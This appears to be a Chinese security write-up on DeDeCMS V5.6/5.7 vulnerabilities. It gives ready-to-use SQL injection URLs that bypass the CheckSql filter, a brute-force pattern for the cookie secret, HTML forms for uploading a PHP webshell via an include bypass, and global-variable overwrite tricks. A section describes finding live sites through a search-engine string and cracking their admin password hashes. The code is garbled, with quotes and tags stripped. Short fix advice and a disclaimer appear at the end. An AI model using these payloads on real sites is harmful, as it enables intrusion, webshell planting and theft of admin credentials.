网络原本就没有绝对的安全。
本地搭建环境测试注入漏洞
漏洞一:/member/ajax_membergroup.php页面的membergroup变量没有过滤导致数字型注入,关键代码如下:
//编辑分组 elseif($action==post) { if(empty($membergroup)){ echo您还没有设置分组!; exit; } $sql=UPDATE`#@__member_friends`SET`groupid`={$membergroup}WHERE `fid`={$mid}AND`mid`={$cfg_ml-M_ID};; $dsql-ExecuteNoneQuery($sql); $row=$dsql-GetOne(SELECTgroupnameFROM#@__member_groupWHEREmid= {$cfg_ml-M_ID}ANDid={$membergroup}); //数字型注入 echo .$row[groupname]. a href=# onclick=EditMemberGroup($mid);returnfalse;修改/a; } 很明显当“action=post”时,$membergroup导致数字型注入漏洞,但是DeDeCMS在访问MySql数据库之前,使用CheckSql()自定义函数对SQL语句进行安全检查,无法直接注入。绕过防注入。CheckSql()函数定义在/include/dedesql.class.php /include/dedesqli.class.php数据库类文件中,代码如下: 或 if(!function_exists(CheckSql)) {functionCheckSql($db_string,$querytype=select) {global$cfg_cookie_encode; $clean=;$error=;$old_pos=0;$pos=-1; ...(略) //如果是普通查询语句,直接过滤一些特殊语法 if($querytype==select) {$notallow1= [^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1 ,}; //[^0-9a-z@\._-]{1,}即至少1个非数字、小写字母、@等字符, if(preg_match(/.$notallow1./,$db_string)) {//①preg_match未使用参数i,使用大写绕过,如:Union puts(fopen($log_file,a+),$userIP||$getUrl||$db_string||SelectBreak\r\n) ; exit(fontsize=5color=redSafeAlert:RequestErrorstep 1!/font); } } while(TRUE) {$pos=strpos($db_string,\,$pos+1); if($pos===FALSE) {break; } //②假如字符串$db_string中不存在“\”退出while循环,存在则继续向下 执行 $clean.=substr($db_string,$old_pos,$pos-$old_pos); while(TRUE) {...(略)} $clean.=$s$; //③将字符串$db_string中\和\之间的字符转为$s$,即信任之间的字符串,绕过防注入的关键 $old_pos=$pos+1; } …..(继续接如下代码) } } $clean.=substr($db_string,$old_pos); $clean=trim(strtolower(preg_replace(array(~\s+~s),array(),$clean))); //④\s匹配任何空白字符,包括空格、制表符、换页符等,$clean转为小写 //⑤再次检查union关键字 if (strpos($clean, union) !== FALSE preg_match(~(^|[^a-z])union($|[^[a-z])~s,$clean)!=0) { $fail=TRUE; $error=uniondetect; } //⑥依次检查--、#、benchmark、load_file、outfile、select等关键字 elseif(strpos($clean,/*)2||strpos($clean,--)!==FALSE|| strpos($clean,#)!==FALSE) {...(略)} //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库 elseif (strpos($clean, sleep) !== FALSE preg_match(~(^|[^a-z])sleep($|[^[a-z])~s,$clean)!=0) ...(略) //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息 elseif(preg_match(~\([^)]*?select~s,$clean)!=0) {...(略)} if(!empty($fail)) {//存在限制的Sql关键字,写日志文件$log_file,输出“SafeAlert:RequestError step2!” fputs(fopen($log_file,a+),$userIP||$getUrl||$db_string||$error\r\n); exit(fontsize=5color=redSafeAlert:RequestErrorstep 2!/font); } else {//⑦不存在限制的Sql关键字,返回$db_string字符串 return$db_string; }
语句①使用正则表达式过滤Sql关键字,但是因为没有参数“i”,导致可以使用大写绕过,比如“Union”等,While循环实现将字符串(Sql语句)中转义单引号之间的字符转为“$s$”,不予检查,此举意图是信任转义单引号之间的字符,即允许提交包含Sql关键字的文字,比如发表新文章的内容,但是也因此产生了安全漏洞。
漏洞利用。构造membergroup变量值为“@``Unionselectpwdfrom`%23@__admin`where1orid=@``”,注意:1)“Union”不能全为小写“union”,2)前后使用“@``”。
当变量提交后,Sql语句成为“SELECTgroupnameFROM#@__member_groupWHEREmid=8
ANDid=@`\`Unionselectpwdfrom`%23@__admin`where1orid=@`\`”,mid为当前用户id,首先大写Union绕过防注入语句①,然后防注入会将“\”之间的字符串认为可信任的,对于其中的字符串不再做防注入过滤,尽管其中含有“union、select”等关键字!在CheckSql()函数中添加输出语句如下,可以直观地看到转换前后的Sql语句以及注入结果如图1。
…(略) echo原字符串:.$db_string.br; //完整的SQL检查 while(TRUE) { …(略) } $clean.=substr($db_string,$old_pos); $clean=trim(strtolower(preg_replace(array(~\s+~s),array(), $clean))); echo转换以后:.$clean.br; …(略)
图1
这里注出的是substr(md5($this-userPwd),5,20)值,我们可以去掉前三位和最后一位,成为16位MD5码,如“7a57a5a743894a0e”,再进行爆破。常用的注入链接如下:
注入管理员密码:
//如果存在多个管理员时,可以将where条件改为“id=1orid=@``”或“userid=0x61646D696Eorid=@``”
注入$cfg_cookie_encode网址/member/ajax_membergroup.php?action=postmembergroup=@``Union
selectvaluefrom`%23@__sysconfig`whereaid=3oraid=@``
//在获得$cfg_cookie_encode后,我们可以直接利用漏洞二。另外在“/data/.md5($cfg_cookie_encode)._safe.txt”文件中记录着注入痕迹。
漏洞二:/member/edit_fullinfo.php页面,即更改详细资料页面(系统设置个人资料),
如图2,要求登陆用户。
图2
该页面中$inadd_f变量没有过滤导致注入,代码如下:
if($dopost==save){//这里完成详细内容填写 ...(略) if(!empty($dede_fields)) { if($dede_fieldshash!=md5($dede_fields.$cfg_cookie_encode)) {howMsg(数据校验不对,程序返回,-1); exit(); }//①$cfg_cookie_encode值必须已知,才能提交符合条件的 $dede_fieldshash } $modelform=$dsql-GetOne(SELECT*FROM#@__member_modelWHEREid=$modid ); if(!is_array($modelform)) {howmsg(模型表单不存在,-1);exit();}//②$modid值必须正确 $inadd_f=; if(!empty($dede_fields)) { $fieldarr=explode(;,$dede_fields); //③用“;”将$dede_fields变 量分割成为数组 if(is_array($fieldarr)) { //即$dede_fields变量至少必须包含一个“;” foreach($fieldarras$field) { if($field==)continue; $fieldinfo=explode(,,$field);//④用“,”将$field分割成为数组 if($fieldinfo[1]==textdata) { ${$fieldinfo[0]}=FilterSearch(stripslashes(${$fieldinfo[0]})); ${$fieldinfo[0]}=addslashes(${$fieldinfo[0]}); }elseif($fieldinfo[1]==img) { ${$fieldinfo[0]}=addslashes(${$fieldinfo[0]}); } else { if(empty(${$fieldinfo[0]}))${$fieldinfo[0]}=; ${$fieldinfo[0]} = GetFieldValue(${$fieldinfo[0]}, $fieldinfo[1],0,add,,diy,$fieldinfo[0]); } if($fieldinfo[0]==birthday) ${$fieldinfo[0]}=GetDateMk(${$fieldinfo[0]}); $inadd_f.=,.$fieldinfo[0].=.${$fieldinfo[0]}.; //⑤将用“,”分割成的数组名和值引入$inadd_f中 } } } $inadd_f=preg_replace(/,/,,$inadd_f,1); $query = UPDATE `{$membermodel-table}`set {$inadd_f} WHERE mid={$cfg_ml-M_ID};//⑥将$inadd_f引入Sql语句中 //清除缓存 $cfg_ml-DelCache($cfg_ml-M_ID); ...(略) //调用$dsql-ExecuteNoneQuery($query)执行Sql语句 }
通过分析可以得出:1)语句①②,$cfg_cookie_encode值必须已知,才能提交符合条件的$dede_fieldshash,提交的$modid值必须正确,查看该页面源码即可获得$modid值;2)语句③④⑤,$dede_fields变量形式必须为“变量1名称,变量1类型;变量2名称,变量2类型;….”,最后$inadd_f变量值为“,变量1名称=’变量1值’,变量2名称=’变量2值’,……”;3)$inadd_f直接引入Sql语句,因此可以使用自查询将需要注出的内容写入个人资料中!
获取$cfg_cookie_encode值。此值是能否成功利用漏洞二的关键,除了利用漏洞一外,还可以通过爆破MD5码获取。使用$cfg_cookie_encode变量的用户页面很多,我们选择“上传软件”页面,查看页面源码,搜索“dede_fieldshash”字符串,如图3,其中
$dede_fieldshash值为MD5($dede_addonfields.$cfg_cookie_encode),由于$dede_addonfields值为空,所以获得的$dede_fieldshash值就是$cfg_cookie_encode变量的MD5码,
图3
DeDeCMS安装时,$cfg_cookie_encode变量默认生成规则为:
$rnd_cookieEncode = chr(mt_rand(ord(A),ord(Z))).chr(mt_rand(ord(a),ord(z))).chr(mt_rand (ord(A),ord(Z))).chr(mt_rand(ord(A),ord(Z))).chr(mt_rand(ord(a),ord(z))).mt_rand(1000,9999).chr(mt_rand(ord(A),ord(Z)));
形式如:AaAAa9999A,即前5位为英文字母,分别为大写、小写、大写、大写、小写,然后是4位数字,最后是1位大写英文字母,一共10位。爆破工具选择MD5Crack4,因为这个版本可以按指定的规则进行破解,如图4。
图4
首先输入待破解的MD5码,然后选中①处“Plugins”,选中②处“TempletPlug2.0”,在③处输入密码规则:[A-Z][a-z]2[A-Z][a-z][1-9]3[0-9][A-Z],④处对规则做了一些简单说明,译文如下:
首先,让我们看一些例子:[p][r]3[a-z]2-4{0,3,6-8}。
模式中包括的“[]”或“{}”为基本元素,其中指定字符集,可以用“,”列出字符,
或用“-”表示连接的范围。基本元素之前的数字表示重复次数,不指定时默认为1。[]和{}的区别:
1、默认(前面无数字)[]是指重复1次,{}是指重复0或1次。
2、前面1个数字(如:x[...],x{...}),[]是指重复x次,{}是重复0到x次。
3、前面2个数字(如:x-y[...],x-y{...}),[]和{}是相同的,指重复x到y次。
[...]==1-1[...]{...}==0-1{...} 3[...]==3-3[...]3{...}==0-3{...}
有更多的例子:
[a][b][c]:abc [a,b,c]==[a-c]:a;b;c {a-c}:NULL;a;b;c 2[a-c]:aa;ab;ac;ba;bb;bc 2{a-c}:NULL;a;b;c;aa;ab;ac;ba;bb;bc;ca;cb;cc
随后就可以开始破解了。一旦获得$cfg_cookie_encode变量,我们就可以顺利注入,提交页面代码如下,注意必须将document.getElementById(dede_fields).value值中的单引号替换为转义单引号,即“”转为“\”。
form method=post action=http://*******/edit_fullinfo.php name=form1 dopost:inputtype=textvalue=savename=dopost/br modid:inputtype=textvalue=1name=modid/br cfg_cookie_encode:input type=text value=MhHTi3472T name=cfg_cookie_encode/br dede_fields:input type=text value= name=dede_fields size=50/br inputtype=hiddenvalue=1name=dede_fieldshash/ button type=submit onclick=javascript:var s1=document.getElementById(dede_fields).value.replace(\,\\\);var s2=document.getElementById(cfg_cookie_encode).value;document.getElementBy Id(dede_fieldshash).value=hex_md5(s1+s2);完成/button /form script
利用页面如图5,提交后完成注入,页面转向后获得管理员的密码,如图6。
图5
图6
当dede_fields=@`qq`;uname=(selectpwdfrom%23@__adminwhereid=1)wheremid=8%23,int
语句执行失败:
UPDATE`dede_member_person`SET`mid`=8,@`qq\` =,uname=(selectpwdfrom#@__adminwhereid=1)wheremid=8#=0WHERE`mid`=8; 当dede_fields=qq=@`qq`;uname=(selectpwdfrom%23@__adminwhereid=1)wheremid=8%23,int 语句执行成功:UPDATE`dede_member_person`SET`mid`=8,qq=@`qq\` =,uname=(selectpwdfrom#@__adminwhereid=1)wheremid=8#=0WHERE`mid`=8;
MySql版本为5.0.90
测试注入时注意“@”定义变量的用法,“qq=@`qq\`=”执行成功,而“@`qq\`=”不会执行成功。
上传漏洞
其实DeDeCMS对上传进行了严格的限制。首先使用/include/uploadsafe.inc.php禁止某些文件类型,如“php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml”,然后上传时再次进行允许和禁止判断,限制应该是很严格的,但是/include/dialog/select_soft_post.php文件存在失误,导致可以绕过这些限制上传asp木马文件。主要代码如下:
?php if(!isset($cfg_basedir))//①如果$cfg_basedir变量没有定义,则包含config.php 文件 { include_once(dirname(__FILE__)./config.php);} ...(略) $newname=(empty($newname)?:preg_replace(#[\\\\*\?\t\r\n:\/|]#,,$newname));//②过滤新文件名中的正斜杠、反斜杠、空格、单引号等符号...(略) $uploadfile_name=trim(preg_replace(#[\r\n\t\*\%\\\/\?\|\:]{1,}#,, $uploadfile_name)); if(!preg_match(#\.(.$cfg_softtype.)#i,$uploadfile_name)) {//$cfg_softtype=zip|gz|rar|iso|doc|xsl|ppt|wps //③进行允许$cfg_softtype类型判断。因为正则表达式缺少“$”,所以“.zip.asp” 将满足条件,还可以将上传文件的扩展名改为rar等。 ShowMsg(你所上传的{$uploadmbtype}不在许可列表,请更改系统对扩展名限定的配置!,);exit(); } if($activepath==$cfg_soft_dir) {//$cfg_soft_dir=$cfg_medias_dir./soft,提交空变量$activepath使条件不成立...(略) } if(!empty($newname))//上传后的新文件名 {$filename=$newname; if(!preg_match(#\.#,$filename))$fs=explode(.,$uploadfile_name); else$fs=explode(.,$filename); //④新文件名包含“.”,取新文件扩展名,否则取上传文件扩展名 if(preg_match(#.$cfg_not_allowall.#,$fs[count($fs)-1])) {//$cfg_not_allowall=php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml; //⑤再次进行禁止$cfg_not_allowall类型判断,因为正则表达式缺少“i”,所以可以通过大写绕过 ShowMsg(你指定的文件名被系统禁止!,javascript:;);exit(); } if(!preg_match(#\.#, $filename...$fs[count($fs)-1]; }else{ $filename)) $filename = = $filename $cuserLogin-getUserID().-.dd2char(MyDate(ymdHis,$nowtme)); //自动生成文件名,由于getUserID()函数定义在userlogin.class.php中,一般无法调用,所以我们上传时指定新文件名 ...(略) } $fullfilename=$cfg_basedir.$activepath./.$filename;//文件上传到网站根目录 $fullfileurl=$activepath./.$filename; move_uploaded_file($uploadfile,$fullfilename)ordie(上传文件到$fullfilename失败!); //⑥PHP的move_uploaded_file()函数将上传的文件移动(复制)到新位置的$fullfilename文件。
与include/dialog目录其他文件不同,没有直接包含config.php文件(包含config.php文件时,会要求以管理员身份登录后才能继续访问),而是增加了语句①进行判断$cfg_basedir变量,如果没有定义则强制包含config.php文件,这样的意图是不允许直接访问select_soft_post.php文件,但是这样做同样是危险的,一旦$cfg_basedir变量已经定义,将绕过config.php文件的限制,具体的方法是以包含方式调用select_soft_post.php。因为语句②过滤了正反斜杠,所以不能进行目录跳转,默认上传到网站根目录。语句③进行允许$cfg_softtype类型判断,因为正则表达式缺少“$”,所以“.zip.asp”将满足条件,还可以将上传文件扩展名改为允许上传的类型,如rar等。语句④判断新文件名是否包含“.”,是则取新文件名的扩展名,语句⑤再次进行禁止$cfg_not_allowall类型判断,因为正则表达式缺少“i”,所以可以通过大写绕过,语句⑥完成上传文件的复制。
包含方式调用select_soft_post.php。由于语句①要求$cfg_basedir变量必须初始化,所以必须以包含方式调用select_soft_post.php文件,才能绕过config.php文件限制。分析页面“/plus/carbuyaction.php”主要代码如下:
if($cfg_mb_open==N) { ShowMsg(系统关闭了会员功能,因此你无法访问此页面!,javascript:;); exit(); }//①要求系统开启会员功能 $cfg_ml=newMemberLogin(); if(!isset($dopost)||empty($dopost)){ ...(略) }elseif($dopost==memclickout) { $svali=GetCkVdValue(); if(preg_match(/S-P[0-9]+RN[0-9]/,$oid)) { $oid=trim($oid); }else{ ShowMsg(您的订单号不存在!,/member/shops_orders.php,0,2000); exit(); }//②要求$oid变量符合正则表达式 if($cfg_ml-IsLogin()) { $userid=$cfg_ml-M_ID; } else { ...(略)//验证用户名、密码}//③要求用户登录 $row=$dsql-GetOne(SELECT*FROM`#@__shops_orders`WHEREoid=$oid); if(is_array($row)){ $OrdersId=$oid; $CartCount=$row[cartcount]; $priceCount=$row[priceCount]; $pid=$row[pid]; $rs=$dsql-GetOne(SELECT*FROM`#@__payment`WHERE id={$row[paytype]}); } //④当$row不是数组,即if条件不成立,不会重写变量$rs,所以外部提交$rs[code]变量,实现包含调用select_soft_post.php文件。 require_onceDEDEINC./payment/.$rs[code]..php;...(略) }
分析代码可以知道:语句①和③要求系统开启会员功能并且登陆用户;语句②要求变量$oid符合正则表达式“S-P[0-9]+RN[0-9]”,即以“S-P”开头,加数字,加“RN”,最后是数字;语句④是导致可以包含调用的关键,当$row不是数组,即Sql语句无返回结果,这时就可以外部提交$rs[code]变量,实现包含调用select_soft_post.php文件。给出利用链接:“http://127.1/plus/carbuyaction.php?dopost=memclickoutoid=
S-P0RN8888rs[code]=../dialog/select_soft_post”,访问页面如图7。
图7
将下面的源码另存为upload1.htm,获得提交页面如图8。
form action=http://******?dopost=memclickoutoid=S-P0RN8888rs[code]=../dialog/select_soft_postmethod=post enctype=multipart/form-dataname=form1 file:inputname=uploadfiletype=file/br newname:inputname=newnametype=textvalue=myfile.Php/ buttonclass=button2type=submit提交/buttonbrbr
1,必须登陆用户。br
2,将待上传PHP文件扩展名改为“zip|gz|rar|iso|doc|xsl|ppt|wps”其中之一。br
3,newname为上传后的新文件名,扩展名使用大写绕过,如“Php”。br
图8
提交后尽管页面出错,如图9,但是myfile.Php文件已经成功上传到网站根目录。
图9
漏洞影响:DeDeCMSV5.6和5.7所有版本。因为V5.6使用eregi函数进行正则判断,忽略大小写,所以无法绕过CheckSql函数的“SafeAlert:RequestErrorstep1!”的过滤,不存在注入漏洞,但是却存在上传漏洞。比较V5.6与V5.7页面代码,“/plus/carbuyaction.php”一致,仅“/dialog/select_soft_post.php”略有不同,代码如下:
…(略) $uploadfile_name=trim(ereg_replace([\r\n\t\*\%\\/\?\|\:]{1,},,$uploadfile_name)); if(!eregi(\.(.$cfg_softtype.),$uploadfile_name)) { ShowMsg(你所上传的{$uploadmbtype}不在许可列表,请更改系统对扩展名限定的配置!,); exit(); }//将待上传文件的扩展名改为rar等,绕过这里的限制 if(!empty($newname)) { $filename=$newname; if(!ereg(\.,$filename))$fs=explode(.,$uploadfile_name); else$fs=explode(.,$filename); if(eregi($cfg_not_allowall,$fs[count($fs)-1])) { ShowMsg(你指定的文件名被系统禁止!,javascript:;); exit(); }//虽然使用eregi函数进行正则判断,无法利用大写绕过,但是只要在变量$newname值最后增加一个“.”,就可以绕过了。 if(!ereg(\.,$filename))$filename=$filename...$fs[count($fs)-1]; } …(略)
只要我们在变量$newname最后增加一个“.”,就可以绕过限制了,比如“myfile.php.”,代码获取的文件扩展名“$fs[count($fs)-1]”是空值,所以不满足条件“eregi($cfg_not_allowall,$fs[count($fs)-1])”,因此页面不执行“exit()”继续上传文件。
全局变量漏洞
由于DeDeCMS对全局变量限制不严格,导致可以外部提交全局变量,漏洞影响2011年8月12日升级之前V5.7和5.6所有版本。DeDeCMS限制提交以“cfg_|GLOBALS”开头的变量名,include/common.inc.php相关代码如下:
==============8月12日升级前=================== if(!defined(DEDEREQUEST)) { //检查和注册外部提交的变量 foreach($_REQUESTas$_k=$_v)//语句① { if(strlen($_k)0preg_match(/^(cfg_|GLOBALS)/,$_k)) { exit(Requestvarnotallow!); } } foreach(Array(_GET,_POST,_COOKIE)as$_request)//语句② { foreach($$_requestas$_k=$_v)${$_k}=_RunMagicQuotes($_v); } } ==============8月12日升级后=================== if(!defined(DEDEREQUEST)) { //检查和注册外部提交的变量(2011.8.10修改登录时相关过滤) functionCheckRequest($val){ if(is_array($val)){ foreach($valas$_k=$_v){ CheckRequest($_k); CheckRequest($val[$_k]); } }else { if(strlen($val)0preg_match(#^(cfg_|GLOBALS)#,$val)) { exit(Requestvarnotallow!); } } } CheckRequest($_REQUEST); foreach(Array(_GET,_POST,_COOKIE)as$_request) { foreach($$_requestas$_k=$_v)${$_k}=_RunMagicQuotes($_v); } }
升级后增加了对提交变量名和值的过滤,我们分析升级前代码。语句①不允许$_REQUEST方式提交“cfg_|GLOBALS”开头的变量名,由于PHP以数组方式存储变量,所以我们可以使用“_POST[cfg_xxx]”方式进行提交。修改tags.php文件如下,观察输出的页面全局变量。
?php /** *@version *@package *@copyright *@license *@link $Id:tags.php12010-06-3011:43:09Ztianya$ DedeCMS.Site Copyright(c)2007-2010,DesDev,Inc. http://******* http://******* */ require_once(dirname(__FILE__)./include/common.inc.php); require_once(DEDEINC./arc.taglist.class.php); $PageNo=1; print_r($GLOBALS); exit; //增加这两行代码,输出全局变量 if(isset($_SERVER[QUERY_STRING])) …(略)
在URL中提交:_POST[cfg_var]=Y,然后查看页面源码,观察_GET和_POST数组如图10,当执行语句②后,_GET数组中的变量被转为_POST数组中,最后转为全局变量如图11。
分析DeDeCMS获取和注册变量的过程如下:
if(!defined(DEDEREQUEST)) { …(略)//检查和注册外部提交的变量,语句①,代码见前文 } //系统配置参数,语句②require_once(DEDEDATA./config.cache.inc.php); //数据库配置文件,语句③require_once(DEDEDATA./common.inc.php); …(略) //模板的存放目录,语句④ $cfg_templets_dir=$cfg_cmspath./templets; $cfg_templeturl=$cfg_mainsite.$cfg_templets_dir; …(略)
首先语句①检查和注册外部提交的变量,然后语句②、③初始化全局变量(系统配置参数、数据库配置参数),最后语句④初始化网站的其他全局变量。所以即使语句①成功提交了以“cfg_”开头的网站全局变量,比如提交“cfg_mb_open”(是否开启会员功能)值为“Y”,随后还是会被初始化为网站设置值,目前还无法修改全局变量。此方法适合:GET方式提交_POST和_COOKIE,POST方式提交_COOKIE。
修改全局变量。DeDeCMS同时还通过include/filter.inc.php包含文件过滤不相关内容,比如禁止提交$cfg_notallowstr变量定义的字符,过滤$cfg_replacestr变量定义的字符为“***”等,代码如下:
//过滤不相关内容 function_FilterAll($fk,$svar) { global$cfg_notallowstr,$cfg_replacestr; if(is_array($svar)) { foreach($svaras$_k=$_v) { $svar[$_k]=_FilterAll($fk,$_v); } } else { …(略)//禁止提交$cfg_notallowstr变量定义的字符 } return$svar; } /*对_GET,_POST,_COOKIE进行过滤*/ foreach(Array(_GET,_POST,_COOKIE)as$_request) { foreach($$_requestas$_k=$_v) { ${$_k}=_FilterAll($_k,$_v);//注册变量并过滤变量值 } }
过滤不相关内容的同时注册变量!搜索“filter.inc.php”文件包含情况如图12,如member/config.php文件,首先包含common.inc.php文件,然后再包含filter.inc.php文件,因此可以修改以“cfg_”开头的全局变量。图中这几个页面文件以及包含这几个文件的页面均可以提交和修改全局变量,几乎member目录中所有的页面文件均受此影响。
利用一:绕过注册限制注册新会员。变量cfg_mb_open决定是否开启会员功能,变量cfg_mb_allowreg决定是否开启新会员注册功能,“N”为关闭,否则开启功能,所以即使网站关闭会员功能,只要提交cfg_mb_allowreg变量不为“N”,便可以成功注册新会员,提交cfg_mb_open变量不为“N”,则可以使用曾经注册的会员继续登陆!绕过的方法有:
方法一:修改注册提交页面源码,将
form的action值改为“http://*******/reg_new.php?_POST[cfg_mb_allowreg]=Y”,其中“127.1”根据实际修改。
方法二:修改注册提交页面源码,在form中增加“input”元素,name属性为“COOKIE[cfgmballowreg]”,值为“Y”(非“N”)。
利用二:注册已审核新会员。DeDeCMS系统默认设置时,新注册会员后需要邮件验证,全局变量cfg_mb_spacesta值为会员使用权限开通状态,默认“-10”为需要邮件验证,“-1”为手工审核,“0”为没限制,注册页面reg_new.php的代码如下:$spaceSta=($cfg_mb_spacesta0?$cfg_mb_spacesta:0);
$inQuery= INSERT INTO `#@__member` `matt`, (`mtype`,`userid`,`pwd`,`uname`,`sex`,`rank`,`money`,`email`,`scores`, `spacesta`,`face`,`safequestion`,`safeanswer`,`jointime`,`joinip`,`logintime`,`loginip`) VALUES ($mtype,$userid,$pwd,$uname,$sex,10,$dfmoney,$email,$dfscores, 0,$spaceSta,,$safequestion,$safeanswer,$jointime,$joinip,$logintime,$loginip);; if($dsql-ExecuteNoneQuery($inQuery)) …(略)
所以提交变量$cfg_mb_spacesta值不小于0,注册的会员将不需要邮件验证和审核,利用前文的方法二修改注册提交页面源码,提交不含“1”的变量safe_gdopen可以绕过验证码限制,详细利用略。
利用三:全局变量注入。使用DW在member目录搜索“(select|update|insert).*(cfg_)”字符串(即使用全局变量的Sql语句),如图13,获得album_add.php、archives_add.php、article_add.php等页面,使用“$cfg_sendarc_scores”全局变量,并且以数字型引入Sql语句,如“UPDATE`#@__member`SET
scores=scores+{$cfg_sendarc_scores}WHEREmid=.$cfg_ml-M_ID.;”。
前文提及的注入漏洞二必须获知$cfg_cookie_encode变量,这里我们完全可以提交变量$cfg_cookie_encode为空,满足条件,受影响页面有memmber目录中的reg_new.php、edit_fullinfo.php等页面。详细利用略。
利用四:全局变量上传木马。会员上传页面为member目录中的uploads_add.php、uploads_edit.php等,上传函数MemberUploads定义在include/helpers/upload.helper.php文件,分析代码如下:
function MemberUploads($upname,$handname,$userid=0,$utype=image,$exname=,$maxwid th=0,$maxheight=0,$water=false,$isadmin=false) {...(略) $allAllowType = str_replace(||, |, $cfg_imgtype.|.$cfg_mediatype.|.$cfg_mb_addontype); //①提交全局变量$cfg_imgtype、$cfg_mediatype、$cfg_mb_addontype,自定义允许上传的文件类型 if(!empty($GLOBALS[$upname])is_uploaded_file($GLOBALS[$upname])) { $nowtme=time(); $GLOBALS[$upname._name] = trim(preg_replace(#[\r\n\t\*\%\\\/\?\|\:]{1,}#,,$GLOBALS[$upname._ name])); //②过滤上传文件名中的空格等符号 if($utype==image)//③分别检查image、flash、media等文件类型 {...(略)} //再次严格检测文件扩展名是否符合系统定义的类型 $fs=explode(.,$GLOBALS[$upname._name]); $sname=$fs[count($fs)-1];//上传文件的扩展名 $alltypes=explode(|,$allAllowType); if(!in_array(strtolower($sname),$alltypes))//④$alltypes含扩展名小写 { ShowMsg(你所上传的文件类型不被允许!,-1); exit(); } //强制禁止的文件类型 if(preg_match(/(asp|php|pl|cgi|shtm|js)$/,$sname))//⑤大写绕过,如:Php{ShowMsg(你上传的文件为系统禁止的类型!,-1);exit();}…(略) move_uploaded_file($GLOBALS[$upname],$cfg_basedir.$filename)ordie(上传文件到{$filename}失败!);//⑥使用move_uploaded_file函数完成文件上传@unlink($GLOBALS[$upname]);...(略)}
我们可以提交全局变量$cfg_imgtype、$cfg_mediatype、$cfg_mb_addontype,自定义允许上传的文件类型,使用大写扩展名并增加空格等符号,比如“Php”等,首先绕过include/uploadsafe.inc.php对php类型的限制,然后经过代码②过滤空格后绕过代码⑤限制,最后使用move_uploaded_file函数完成文件上传。漏洞利用必须登陆用户,将下面代码另存为upload2.htm,页面如图14。
form name=form1 action=http://*******/uploads_add.php method=post enctype=multipart/form-data inputtype=hiddenname=mediatypevalue=4/ inputtype=hiddenname=_GET[cfg_mb_addontype]value=Php|Php|php/ inputtype=hiddenname=dopostvalue=save/ inputname=addonfiletype=fileid=addonfile/ buttonclass=button2type=submit提交/button /form
将待上传的Php文件扩展名改为“Php”,然后利用该页面完成上传,从地址栏得到新文件名,如图15。
全局变量漏洞判断。在地址栏提交“_POST[cfg_xxx]”,如果页面返回“Requestvarnotallow!”则安装过8月12日补丁,不存在全局变量漏洞,如果页面没有出错返回正常,则存在该漏洞,如图16。
或者访问“data/admin/ver.txt”文件,获取系统最后升级时间,确认是否安装过8月12日补丁。访问“/data/admin/verifies.txt”,获得指纹码最后同步时间。系统最后升级时间:http://*******/admin/ver.txt指纹码最后同步时间:http://*******/admin/verifies.txt几个常见的指纹码同步时间:
20110216
20100324
20100514
DedeCmsV5.7-GBK-Final或V5.6到V5.7GBK升级程序
DedecmsV55-GBK-Final
DedeCmsV5.6-GBK-Final
漏洞利用实例
百度搜索关键字“PoweredbyDedeCMSV57_GBK2004-2011DesDevInc”,获得使用
DeDeCMS系统的网站。
注入漏洞。首先访问“/data/admin/ver.txt”页面获取系统最后升级时间,如图17说明已经修补2011年8月12日补丁,
然后访问“/member/ajax_membergroup.php?action=postmembergroup=1”页面,如图18说明存在该漏洞。
于是访问页面链接“/member/ajax_membergroup.php?action=postmembergroup=@``
Unionselectpwdfrom`%23@__admin`where1orid=@``”,如图19,去掉前三位和最后一位,得到管理员的16位MD5码,www.cmd5.com在线破解成功。
上传漏洞。要求网站开启新会员注册功能,首先注册新会员,无需通过邮件验证,只要登陆会员中心,然后访问页面链接“/plus/carbuyaction.php?dopost=memclickoutoid=S-P0RN8888rs[code]=../dialog/select_soft_post”如图20,说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”。
于是将Php一句话木马扩展名改为“rar”等,利用提交页面upload1.htm,如图21,直接上传成功,如图22。
漏洞修补
简单的防止注入修补方法可以将ajax_membergroup.php页面删除,或者给CheckSql()自定义函数中的preg_match函数增加“i”参数,防止上传的方法可以过滤“/include/dialog/select_soft_post.php”文件中的变量$newname,限制其以字符“.”、“?”以及空格等字符结束等。
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的在文章发布时漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。